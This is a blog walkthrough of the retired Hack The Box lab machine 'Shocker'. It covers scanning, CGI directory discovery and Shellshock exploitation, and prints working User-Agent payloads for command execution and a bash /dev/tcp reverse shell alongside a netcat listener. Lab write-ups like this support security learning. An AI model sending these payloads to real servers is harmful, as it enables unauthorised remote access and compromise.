Hack The Box - Shocker

All of my Hack The Box adventures are happening in a Kali Linux lab in NAT mode on VMWare Workstation Player. Kali Linux is free and robust, filled with many common hacking tools like nmap, Dirbuster, Gobuster, John the Ripper, Hydra, Nikto, Netcat, and so many more…



Shocker is a retired machine, which means walkthroughs such as this one can be published. The logo tells us it’s an easy machine, and it’s a Linux machine. It’s also quite common with HTB machines that the machine name is itself a clue, as we’ll see below.


First, I started with an nmap scan with the switches -T4 -A -p-.

└─$ ./nmapLaunch   
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 17:20 EDT
Nmap scan report for
Host is up (0.097s latency).
Not shown: 65533 closed ports
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
1   103.71 ms
2   104.20 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 493.66 seconds

We can learn a few things here:

  • Port 80 is open, Apache 2.4.18
  • Port 2222 is running SSH
  • Ubuntu

Since port 80 is open, I’ll drop the IP in a browser and see what happens:


Hmm…a box called “Shocker” featuring an image of a frazzled bug-thing and a telling caption. Right clicking and selecting “view source” doesn’t offer any more insight

 <!DOCTYPE html>

<h2>Don't Bug Me!</h2>
<img src="bug.jpg" alt="bug" style="width:450px;height:350px;">


Trying a little Dirbuster brute force yielded some 403 directories.

Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /cgi-bin/ - 403
Dir found: /icons/ - 403
Dir found: /icons/small/ - 403

Time for some Google-fu. I used the search term “shocker exploit” and found a Wikipedia page as well as an Exploit-DB page describing the Shellshock exploit. This looks promising.

Shellshock was basically a remote command execution vulnerability in BASH discovered in 2014. It can execute commands without confirmation, and one of the specific exploitation vectoris is a CGI=based web server. This doesn’t affect windows, but it does affect Linux servers running Apache. Bingo.

I ran the Dirbuster scan again, this time focusing on the /cgi-bin/ directory and looking for specific extensions related to scripts and cgi.


This uncovered user.sh with a response code of 200.


Dropping the URL with /cgi-bin/user.sh triggered a download of the file, so I did.

─$ cat Downloads/user.sh             
Content-Type: text/plain

Just an uptime test script

 19:28:12 up  2:08,  0 users,  load average: 0.05, 0.06, 0.02
└─$ curl  
Content-Type: text/plain

Just an uptime test script

19:42:01 up  2:22,  0 users,  load average: 0.03, 0.01, 0.00

The Exploit-DB article says the vulnerability allows BASH to incorrectly execute trailing commands stored into an environment variable. I felt the foothold approaching. By now I started feeling a little gassy. Time to burp.

I altered the GET request by adding /cgi-bin/user.sh, and in the User-Agent line I tried the environment variable exploit suggested by the article in order to get a user id.

GET /cgi-bin/user.sh HTTP/1.1
User-Agent: () { :;}; echo; /usr/bin/id
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP/1.1 200 OK
Date: Wed, 22 Sep 2021 23:58:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 129

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

It works. Now I can try to get a reverse shell.


I set a netcat listener:

└─$ nc -nvlp 1234
listening on [any] 1234 ...

Prepared my burp:

GET /cgi-bin/user.sh HTTP/1.1
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/ 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Reverse shell achieved as the user “shelly” that was found, and the user flag was easily had


Privilege Escalation

Running sudo -l to find out what shelly can do


Shelly can run perl with no password. I just happen to have a handy perl priv esc script ready



There were some handy techniques used here.

  • Standard nmap scan
  • Google-fu based on available clues
  • Directory brute-forcing twice. Once to find the /cgi-bin/ dir, and the other to dig deeper
  • Using curl and Burp Suite to test our findings
  • Using Burp Suite and netcat to get a reverse shell
  • Discovering user privileges by using sudo -l
  • Finding the appropriate priv esc script

Happy Hacking!

Wednesday, September 22, 2021 by dobrohaxxor
Add a comment (1048 views)